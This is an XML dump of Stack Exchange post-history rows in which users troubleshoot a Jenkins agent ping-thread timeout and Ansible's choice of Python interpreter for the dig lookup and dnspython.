  <row Id="30623" PostHistoryTypeId="5" PostId="10151" RevisionGUID="b54115ea-6029-47f8-aebd-8a1554f9b7bc" CreationDate="2019-12-18T10:30:39.947" UserId="354" Comment="Remove reference to slave, replace it with agent. Update formatting" Text="One of the jenkins slave is going down very often. Found RCA for this issue. &#xD;&#xA;It's because of the Ping thread&#xD;&#xA;&#xD;&#xA;In the logs I fetch from agent, I have:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Terminating the channel channel.&#xD;&#xA;java.util.concurrent.TimeoutException: Ping started at 1576130988405 hasn't completed by 1576131228405&#xD;&#xA;	at hudson.remoting.PingThread.ping(PingThread.java:134)&#xD;&#xA;	at hudson.remoting.PingThread.run(PingThread.java:90)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I wanted to disable the ping thread on the agent. In the documentation it's mentioned as `-Dhudson.remoting.Launcher.pingIntervalSec=-1`&#xD;&#xA;&#xD;&#xA;But I do not understand how to execute this on remote machine.&#xD;&#xA; &#xD;&#xA;I followed this [link][1]. but that solution is for JNPL. I am launching the agent on the node via ssh. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/43789808/disable-pinging-slaves-in-jenkins?answertab=active#tab-top" ContentLicense="CC BY-SA 4.0" />
  <row Id="30624" PostHistoryTypeId="4" PostId="10151" RevisionGUID="b54115ea-6029-47f8-aebd-8a1554f9b7bc" CreationDate="2019-12-18T10:30:39.947" UserId="354" Comment="Remove reference to slave, replace it with agent. Update formatting" Text="How to disable ping thread on jenkins agent" ContentLicense="CC BY-SA 4.0" />
  <row Id="30625" PostHistoryTypeId="5" PostId="10144" RevisionGUID="32fad43d-e0d3-4d59-b10b-b81b6020f315" CreationDate="2019-12-18T11:48:28.680" UserId="7715" Comment="added 2984 characters in body" Text="1) [interpreter_python](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#interpreter-python) configuration parameter says:&#xD;&#xA;&#xD;&#xA;&gt; Path to the Python interpreter to be used for module execution **on remote targets**&#xD;&#xA;&#xD;&#xA;See [how to choose a python interpreter for Ansible playbook?](https://stackoverflow.com/questions/59380824/how-to-choose-a-python-interpreter-for-ansible-playbook/)&#xD;&#xA;&#xD;&#xA;2) Ansible will tell what Python is used **on master**&#xD;&#xA;&#xD;&#xA;    $ ansible --version&#xD;&#xA;    ansible 2.9.2&#xD;&#xA;      config file = /home/vlado/.ansible.cfg&#xD;&#xA;      configured module search path = [u'/home/vlado/.ansible/my_modules']&#xD;&#xA;      ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;      executable location = /usr/bin/ansible&#xD;&#xA;      python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;3) [dig](https://docs.ansible.com/ansible/latest/plugins/lookup/dig.html#dig-query-dns-using-the-dnspython-library) says&#xD;&#xA;&#xD;&#xA;&gt; The below requirements are needed **on the local master node** that executes this lookup: dnspython&#xD;&#xA;&#xD;&#xA;4) It's possible to install both versions&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ dpkg -l | grep dnspython&#xD;&#xA;ii  python-dnspython         1.16.0-1 all          DNS toolkit for Python&#xD;&#xA;ii  python3-dnspython        1.16.0-1 all          DNS toolkit for Python 3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;5) All [Ansible packages in Ubuntu](https://packages.ubuntu.com/search?keywords=ansible) have been built with Python2 at the moment.&#xD;&#xA;&#xD;&#xA;6) `ansible_python_interpreter` works as expected&#xD;&#xA;&#xD;&#xA;With Ubuntu **on master** the playbook&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat playbook.yml&#xD;&#xA;- hosts: test_01&#xD;&#xA;  tasks:&#xD;&#xA;    - getent:&#xD;&#xA;        database: hosts&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ cat hosts&#xD;&#xA;test_01 ansible_python_interpreter=/usr/local/bin/python3.6&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ ansible-playbook playbook.yml -i hosts -vvv | grep python&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;  ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;  python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; &lt;test_01&gt; SSH: EXEC ssh -C -o ControlMaster=auto -o ControlPersist=60s -o KbdInteractiveAuthentication=no -o PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey -o PasswordAuthentication=no -o 'User=&quot;admin&quot;' -o ConnectTimeout=10 -o ControlPath=/export/home/vlado.config/.ansible/cp/5a3ab05cf7 -tt test_01 '/bin/sh -c '&quot;'&quot;'sudo -H -S -n  -u root /bin/sh -c '&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'echo BECOME-SUCCESS-xnvwkdksdqqoehvrgebdgcnrzcrmoszv ; /usr/local/bin/python3.6 /home/admin/.ansible/tmp/ansible-tmp-1576667662.62-67468482045094/AnsiballZ_getent.py'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;' &amp;&amp; sleep 0'&quot;'&quot;''&#xD;&#xA;&#xD;&#xA;- ansible-playbook **on master** runs with `python version = 2.7.16`&#xD;&#xA;- module **on remote** (test_01) runs with `/usr/local/bin/python3.6`&#xD;&#xA;&#xD;&#xA;**Change ansible_python_interpreter**&#xD;&#xA;&#xD;&#xA;When the ansible_python_interpreter is changed&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat hosts&#xD;&#xA;test_01 ansible_python_interpreter=/usr/local/bin/python2.7&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;the same playbook gives&#xD;&#xA;&#xD;&#xA;&gt;   ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;  python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; &lt;test_01&gt; SSH: EXEC ssh -C -o ControlMaster=auto -o ControlPersist=60s -o KbdInteractiveAuthentication=no -o PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey -o PasswordAuthentication=no -o 'User=&quot;admin&quot;' -o ConnectTimeout=10 -o ControlPath=/export/home/vlado.config/.ansible/cp/5a3ab05cf7 -tt test_01 '/bin/sh -c '&quot;'&quot;'sudo -H -S -n  -u root /bin/sh -c '&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'echo BECOME-SUCCESS-fidpgwptggdoizirumvjmzuorxqawypu ; /usr/local/bin/python2.7 /home/admin/.ansible/tmp/ansible-tmp-1576668475.22-210929624017605/AnsiballZ_getent.py'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;' &amp;&amp; sleep 0'&quot;'&quot;''&#xD;&#xA;&#xD;&#xA;- ansible-playbook **on master** runs with `python version = 2.7.16`&#xD;&#xA;- but module **on remote** (test_01) runs with `/usr/local/bin/python2.7` as requested&#xD;&#xA;&#xD;&#xA;7) [Lookup plugins](https://docs.ansible.com/ansible/latest/plugins/lookup.html#lookup-plugins):&#xD;&#xA;&gt; *&quot;Like all templating, these plugins are evaluated **on the Ansible control machine**, not on the target/remote.&quot;*&#xD;&#xA;&#xD;&#xA;At the moment, in Ubuntu Ansible works with Python2 only. The playbook&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- hosts: localhost&#xD;&#xA;  vars:&#xD;&#xA;    host2lookup: &quot;yahoo.com&quot;&#xD;&#xA;    - debug:&#xD;&#xA;        msg: &quot;{{ lookup('dig', host2lookup, 'qtype=A') }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;will use Python2.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30626" PostHistoryTypeId="5" PostId="10144" RevisionGUID="ad8df1ea-662a-48d9-b417-5999d6db5c1f" CreationDate="2019-12-18T13:32:23.513" UserId="7715" Comment="added 289 characters in body" Text="1) [interpreter_python](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#interpreter-python) configuration parameter says:&#xD;&#xA;&#xD;&#xA;&gt; Path to the Python interpreter to be used for module execution **on remote targets**&#xD;&#xA;&#xD;&#xA;See [how to choose a python interpreter for Ansible playbook?](https://stackoverflow.com/questions/59380824/how-to-choose-a-python-interpreter-for-ansible-playbook/)&#xD;&#xA;&#xD;&#xA;2) Ansible will tell what Python is used **on master**&#xD;&#xA;&#xD;&#xA;    $ ansible --version&#xD;&#xA;    ansible 2.9.2&#xD;&#xA;      config file = /home/vlado/.ansible.cfg&#xD;&#xA;      configured module search path = [u'/home/vlado/.ansible/my_modules']&#xD;&#xA;      ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;      executable location = /usr/bin/ansible&#xD;&#xA;      python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;3) [dig](https://docs.ansible.com/ansible/latest/plugins/lookup/dig.html#dig-query-dns-using-the-dnspython-library) says&#xD;&#xA;&#xD;&#xA;&gt; The below requirements are needed **on the local master node** that executes this lookup: dnspython&#xD;&#xA;&#xD;&#xA;4) It's possible to install both versions&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ dpkg -l | grep dnspython&#xD;&#xA;ii  python-dnspython         1.16.0-1 all          DNS toolkit for Python&#xD;&#xA;ii  python3-dnspython        1.16.0-1 all          DNS toolkit for Python 3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;5) All [Ansible packages in Ubuntu](https://packages.ubuntu.com/search?keywords=ansible) have been built with Python2 at the moment.&#xD;&#xA;&#xD;&#xA;6) `ansible_python_interpreter` works as expected&#xD;&#xA;&#xD;&#xA;With Ubuntu **on master** the playbook&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat playbook.yml&#xD;&#xA;- hosts: test_01&#xD;&#xA;  tasks:&#xD;&#xA;    - getent:&#xD;&#xA;        database: hosts&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ cat hosts&#xD;&#xA;test_01 ansible_python_interpreter=/usr/local/bin/python3.6&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ ansible-playbook playbook.yml -i hosts -vvv | grep python&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;  ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;  python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; &lt;test_01&gt; SSH: EXEC ssh -C -o ControlMaster=auto -o ControlPersist=60s -o KbdInteractiveAuthentication=no -o PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey -o PasswordAuthentication=no -o 'User=&quot;admin&quot;' -o ConnectTimeout=10 -o ControlPath=/export/home/vlado.config/.ansible/cp/5a3ab05cf7 -tt test_01 '/bin/sh -c '&quot;'&quot;'sudo -H -S -n  -u root /bin/sh -c '&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'echo BECOME-SUCCESS-xnvwkdksdqqoehvrgebdgcnrzcrmoszv ; /usr/local/bin/python3.6 /home/admin/.ansible/tmp/ansible-tmp-1576667662.62-67468482045094/AnsiballZ_getent.py'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;' &amp;&amp; sleep 0'&quot;'&quot;''&#xD;&#xA;&#xD;&#xA;- ansible-playbook **on master** runs with `python version = 2.7.16`&#xD;&#xA;- module **on remote** (test_01) runs with `/usr/local/bin/python3.6`&#xD;&#xA;&#xD;&#xA;**Change ansible_python_interpreter**&#xD;&#xA;&#xD;&#xA;When the ansible_python_interpreter is changed&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat hosts&#xD;&#xA;test_01 ansible_python_interpreter=/usr/local/bin/python2.7&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;the same playbook gives&#xD;&#xA;&#xD;&#xA;&gt;   ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;  python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; &lt;test_01&gt; SSH: EXEC ssh -C -o ControlMaster=auto -o ControlPersist=60s -o KbdInteractiveAuthentication=no -o PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey -o PasswordAuthentication=no -o 'User=&quot;admin&quot;' -o ConnectTimeout=10 -o ControlPath=/export/home/vlado.config/.ansible/cp/5a3ab05cf7 -tt test_01 '/bin/sh -c '&quot;'&quot;'sudo -H -S -n  -u root /bin/sh -c '&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'echo BECOME-SUCCESS-fidpgwptggdoizirumvjmzuorxqawypu ; /usr/local/bin/python2.7 /home/admin/.ansible/tmp/ansible-tmp-1576668475.22-210929624017605/AnsiballZ_getent.py'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;' &amp;&amp; sleep 0'&quot;'&quot;''&#xD;&#xA;&#xD;&#xA;- ansible-playbook **on master** runs with `python version = 2.7.16`&#xD;&#xA;- but module **on remote** (test_01) runs with `/usr/local/bin/python2.7` as requested&#xD;&#xA;&#xD;&#xA;7) [Lookup plugins](https://docs.ansible.com/ansible/latest/plugins/lookup.html#lookup-plugins):&#xD;&#xA;&gt; *&quot;Like all templating, these plugins are evaluated **on the Ansible control machine**, not on the target/remote.&quot;*&#xD;&#xA;&#xD;&#xA;At the moment, in Ubuntu Ansible works with Python2 only. The playbook&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- hosts: localhost&#xD;&#xA;  vars:&#xD;&#xA;    host2lookup: &quot;yahoo.com&quot;&#xD;&#xA;    - debug:&#xD;&#xA;        msg: &quot;{{ lookup('dig', host2lookup, 'qtype=A') }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;will use Python2.&#xD;&#xA;&#xD;&#xA;8) Print ansible_python_version&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat /etc/lsb-release &#xD;&#xA;DISTRIB_ID=Ubuntu&#xD;&#xA;DISTRIB_RELEASE=19.04&#xD;&#xA;DISTRIB_CODENAME=disco&#xD;&#xA;DISTRIB_DESCRIPTION=&quot;Ubuntu 19.04&quot;&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ ansible localhost -m setup | grep ansible_python_version&#xD;&#xA;        &quot;ansible_python_version&quot;: &quot;2.7.16&quot;,&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30627" PostHistoryTypeId="5" PostId="10144" RevisionGUID="1f293fb0-27e0-4cfb-9930-99b6d62bf7a0" CreationDate="2019-12-18T13:52:05.627" UserId="7715" Comment="added 582 characters in body" Text="&gt;Q: *&quot;What does the ansible command line tool have to do with the behavior I see with ansible-playbook?&quot;*&#xD;&#xA;&#xD;&#xA;A: Both ansible command line tool and ansible-playbook will report the same value of *ansible_python_version*. For example&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ansible localhost -m setup | grep ansible_python_version&#xD;&#xA;        &quot;ansible_python_version&quot;: &quot;2.7.16&quot;,&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat playbook.yml&#xD;&#xA;- hosts: localhost&#xD;&#xA;  tasks:&#xD;&#xA;    - debug:&#xD;&#xA;        var: ansible_python_version&#xD;&#xA;&#xD;&#xA;$ ansible-playbook playbook.yml&#xD;&#xA;&#xD;&#xA;ok: [localhost] =&gt; {&#xD;&#xA;    &quot;ansible_python_version&quot;: &quot;2.7.16&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;Notes&#xD;&#xA;&#xD;&#xA;1) [interpreter_python](https://docs.ansible.com/ansible/latest/reference_appendices/config.html#interpreter-python) configuration parameter says:&#xD;&#xA;&#xD;&#xA;&gt; Path to the Python interpreter to be used for module execution **on remote targets**&#xD;&#xA;&#xD;&#xA;See [how to choose a python interpreter for Ansible playbook?](https://stackoverflow.com/questions/59380824/how-to-choose-a-python-interpreter-for-ansible-playbook/)&#xD;&#xA;&#xD;&#xA;2) Ansible will tell what Python is used **on master**&#xD;&#xA;&#xD;&#xA;    $ ansible --version&#xD;&#xA;    ansible 2.9.2&#xD;&#xA;      config file = /home/vlado/.ansible.cfg&#xD;&#xA;      configured module search path = [u'/home/vlado/.ansible/my_modules']&#xD;&#xA;      ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;      executable location = /usr/bin/ansible&#xD;&#xA;      python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;3) [dig](https://docs.ansible.com/ansible/latest/plugins/lookup/dig.html#dig-query-dns-using-the-dnspython-library) says&#xD;&#xA;&#xD;&#xA;&gt; The below requirements are needed **on the local master node** that executes this lookup: dnspython&#xD;&#xA;&#xD;&#xA;4) It's possible to install both versions&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ dpkg -l | grep dnspython&#xD;&#xA;ii  python-dnspython         1.16.0-1 all          DNS toolkit for Python&#xD;&#xA;ii  python3-dnspython        1.16.0-1 all          DNS toolkit for Python 3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;5) All [Ansible packages in Ubuntu](https://packages.ubuntu.com/search?keywords=ansible) have been built with Python2 at the moment.&#xD;&#xA;&#xD;&#xA;6) `ansible_python_interpreter` works as expected&#xD;&#xA;&#xD;&#xA;With Ubuntu **on master** the playbook&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat playbook.yml&#xD;&#xA;- hosts: test_01&#xD;&#xA;  tasks:&#xD;&#xA;    - getent:&#xD;&#xA;        database: hosts&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ cat hosts&#xD;&#xA;test_01 ansible_python_interpreter=/usr/local/bin/python3.6&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ ansible-playbook playbook.yml -i hosts -vvv | grep python&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;  ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;  python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; &lt;test_01&gt; SSH: EXEC ssh -C -o ControlMaster=auto -o ControlPersist=60s -o KbdInteractiveAuthentication=no -o PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey -o PasswordAuthentication=no -o 'User=&quot;admin&quot;' -o ConnectTimeout=10 -o ControlPath=/export/home/vlado.config/.ansible/cp/5a3ab05cf7 -tt test_01 '/bin/sh -c '&quot;'&quot;'sudo -H -S -n  -u root /bin/sh -c '&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'echo BECOME-SUCCESS-xnvwkdksdqqoehvrgebdgcnrzcrmoszv ; /usr/local/bin/python3.6 /home/admin/.ansible/tmp/ansible-tmp-1576667662.62-67468482045094/AnsiballZ_getent.py'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;' &amp;&amp; sleep 0'&quot;'&quot;''&#xD;&#xA;&#xD;&#xA;- ansible-playbook **on master** runs with `python version = 2.7.16`&#xD;&#xA;- module **on remote** (test_01) runs with `/usr/local/bin/python3.6`&#xD;&#xA;&#xD;&#xA;**Change ansible_python_interpreter**&#xD;&#xA;&#xD;&#xA;When the ansible_python_interpreter is changed&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat hosts&#xD;&#xA;test_01 ansible_python_interpreter=/usr/local/bin/python2.7&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;the same playbook gives&#xD;&#xA;&#xD;&#xA;&gt;   ansible python module location = /usr/lib/python2.7/dist-packages/ansible&#xD;&#xA;  python version = 2.7.16 (default, Oct  7 2019, 17:36:04) [GCC 8.3.0]&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; &lt;test_01&gt; SSH: EXEC ssh -C -o ControlMaster=auto -o ControlPersist=60s -o KbdInteractiveAuthentication=no -o PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey -o PasswordAuthentication=no -o 'User=&quot;admin&quot;' -o ConnectTimeout=10 -o ControlPath=/export/home/vlado.config/.ansible/cp/5a3ab05cf7 -tt test_01 '/bin/sh -c '&quot;'&quot;'sudo -H -S -n  -u root /bin/sh -c '&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'echo BECOME-SUCCESS-fidpgwptggdoizirumvjmzuorxqawypu ; /usr/local/bin/python2.7 /home/admin/.ansible/tmp/ansible-tmp-1576668475.22-210929624017605/AnsiballZ_getent.py'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;'&quot;' &amp;&amp; sleep 0'&quot;'&quot;''&#xD;&#xA;&#xD;&#xA;- ansible-playbook **on master** runs with `python version = 2.7.16`&#xD;&#xA;- but module **on remote** (test_01) runs with `/usr/local/bin/python2.7` as requested&#xD;&#xA;&#xD;&#xA;7) [Lookup plugins](https://docs.ansible.com/ansible/latest/plugins/lookup.html#lookup-plugins):&#xD;&#xA;&gt; *&quot;Like all templating, these plugins are evaluated **on the Ansible control machine**, not on the target/remote.&quot;*&#xD;&#xA;&#xD;&#xA;At the moment, in Ubuntu Ansible works with Python2 only. The playbook&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- hosts: localhost&#xD;&#xA;  vars:&#xD;&#xA;    host2lookup: &quot;yahoo.com&quot;&#xD;&#xA;    - debug:&#xD;&#xA;        msg: &quot;{{ lookup('dig', host2lookup, 'qtype=A') }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;will use Python2.&#xD;&#xA;&#xD;&#xA;8) Print ansible_python_version&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat /etc/lsb-release &#xD;&#xA;DISTRIB_ID=Ubuntu&#xD;&#xA;DISTRIB_RELEASE=19.04&#xD;&#xA;DISTRIB_CODENAME=disco&#xD;&#xA;DISTRIB_DESCRIPTION=&quot;Ubuntu 19.04&quot;&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;$ ansible localhost -m setup | grep ansible_python_version&#xD;&#xA;        &quot;ansible_python_version&quot;: &quot;2.7.16&quot;,&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30628" PostHistoryTypeId="5" PostId="10142" RevisionGUID="dfc86d3a-5c28-45ed-bb64-a8a2c25f4144" CreationDate="2019-12-18T13:57:51.767" UserId="10715" Comment="added 3100 characters in body" Text="I am trying to look up the IPv4 address (a single one, which I will `assert` on!) for a given name using Ansible and use that as a fact &quot;down the line&quot;.&#xD;&#xA;&#xD;&#xA;An MWE looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;# vim: set autoindent smartindent tabstop=2 shiftwidth=2 softtabstop=2 expandtab filetype=ansible:&#xD;&#xA;&#xD;&#xA;- name: Preparations&#xD;&#xA;  hosts: localhost&#xD;&#xA;  connection: local&#xD;&#xA;  vars:&#xD;&#xA;    host2lookup: &quot;example.com&quot;&#xD;&#xA;  tasks:&#xD;&#xA;    - getent:&#xD;&#xA;        database: ahostsv4&#xD;&#xA;        key: &quot;{{host2lookup}}&quot;&#xD;&#xA;    - debug:&#xD;&#xA;        var: getent_ahostsv4&#xD;&#xA;    - name: Lookup for {{host2lookup}}&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{lookup('dig', '{{host2lookup}}./A')}}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;... and fails as follows (relevant excerpt):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  localhost failed | msg: An unhandled exception occurred while running the lookup plugin 'dig'. Error was a &lt;class 'ansible.errors.AnsibleError'&gt;, original message: The dig lookup requires the python 'dnspython' library and it is not installed&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So I thought to myself I'd install the `dnspython` library for the appropriate Python version, making the playbook look as follows:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;# vim: set autoindent smartindent tabstop=2 shiftwidth=2 softtabstop=2 expandtab filetype=ansible:&#xD;&#xA;&#xD;&#xA;- name: Preparing Ansible host&#xD;&#xA;  hosts: localhost&#xD;&#xA;  connection: local&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Install dnspython package on Ansible host&#xD;&#xA;      block:&#xD;&#xA;        - name: Installing python-dnspython package&#xD;&#xA;          apt:&#xD;&#xA;            pkg:&#xD;&#xA;              - python-dnspython&#xD;&#xA;            update_cache: yes&#xD;&#xA;            install_recommends: no&#xD;&#xA;            state: present&#xD;&#xA;          when: ansible_python.version.major == 2&#xD;&#xA;        - name: Installing python3-dnspython package&#xD;&#xA;          apt:&#xD;&#xA;            pkg:&#xD;&#xA;              - python3-dnspython&#xD;&#xA;            update_cache: yes&#xD;&#xA;            install_recommends: no&#xD;&#xA;            state: present&#xD;&#xA;          when: ansible_python.version.major == 3&#xD;&#xA;      become: true&#xD;&#xA;- name: Preparations&#xD;&#xA;  hosts: localhost&#xD;&#xA;  connection: local&#xD;&#xA;  vars:&#xD;&#xA;    host2lookup: &quot;example.com&quot;&#xD;&#xA;  tasks:&#xD;&#xA;    - getent:&#xD;&#xA;        database: ahostsv4&#xD;&#xA;        key: &quot;{{host2lookup}}&quot;&#xD;&#xA;    - debug:&#xD;&#xA;        var: getent_ahostsv4&#xD;&#xA;    - name: Lookup for {{host2lookup}}&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{lookup('dig', '{{host2lookup}}./A')}}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But the ultimate failure remains the same. Either that error is misleading or something else is fishy ...&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Executing playbook dbg.yml&#xD;&#xA;&#xD;&#xA;- Preparing Ansible host on hosts: localhost -&#xD;&#xA;Gathering Facts...&#xD;&#xA;  localhost ok&#xD;&#xA;Installing python-dnspython package...&#xD;&#xA;Installing python3-dnspython package...&#xD;&#xA;  localhost ok&#xD;&#xA;&#xD;&#xA;- Preparations on hosts: localhost -&#xD;&#xA;Gathering Facts...&#xD;&#xA;  localhost ok&#xD;&#xA;getent...&#xD;&#xA;  localhost ok&#xD;&#xA;debug...&#xD;&#xA;  localhost ok: {&#xD;&#xA;    &quot;changed&quot;: false,&#xD;&#xA;    &quot;getent_ahostsv4&quot;: {&#xD;&#xA;        &quot;93.184.216.34&quot;: [&#xD;&#xA;            &quot;RAW&quot;&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;Lookup for example.com...&#xD;&#xA;  localhost failed | msg: An unhandled exception occurred while running the lookup plugin 'dig'. Error was a &lt;class 'ansible.errors.AnsibleError'&gt;, original message: The dig lookup requires the python 'dnspython' library and it is not installed&#xD;&#xA;&#xD;&#xA;- Play recap -&#xD;&#xA;  localhost                  : ok=5    changed=0    unreachable=0    failed=1    rescued=0    ignored=0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What other than the appropriate `dnspython` package am I missing here?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;The `dnsutils` package (containing `dig`) and its library dependencies is installed. Adding these as prerequisites into the `apt:` task therefore makes no difference.&#xD;&#xA;&#xD;&#xA;Found another smoking gun, though:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ python3 -m dnspython&#xD;&#xA;/usr/bin/python3: No module named dnspython&#xD;&#xA;$ sudo -H pip3 install dnspython&#xD;&#xA;Requirement already satisfied: dnspython in /usr/lib/python3/dist-packages&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I stand corrected. As per the [examples page](http://www.dnspython.org/examples.html) I should import something like `dns.query` (`python3 -m dns.query`). And that succeeds.&#xD;&#xA;&#xD;&#xA;My `ansible.cfg` is this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat ansible.cfg&#xD;&#xA;[defaults]&#xD;&#xA;nocows = true&#xD;&#xA;command_warnings = false&#xD;&#xA;stdout_callback = unixy&#xD;&#xA;display_skipped_hosts = false&#xD;&#xA;interpreter_python=auto&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The whole thing runs on Ubuntu 18.04.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;As per request in a comment, I am providing more output. This is still on Ubuntu 18.04. With the (above shown) `ansible.cfg` in place, I get the following output:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ansible localhost -m setup -a 'filter=ansible_python*'&#xD;&#xA;localhost | SUCCESS =&gt; {&#xD;&#xA;    &quot;ansible_facts&quot;: {&#xD;&#xA;        &quot;ansible_python&quot;: {&#xD;&#xA;            &quot;executable&quot;: &quot;/usr/bin/python2&quot;,&#xD;&#xA;            &quot;has_sslcontext&quot;: true,&#xD;&#xA;            &quot;type&quot;: &quot;CPython&quot;,&#xD;&#xA;            &quot;version&quot;: {&#xD;&#xA;                &quot;major&quot;: 2,&#xD;&#xA;                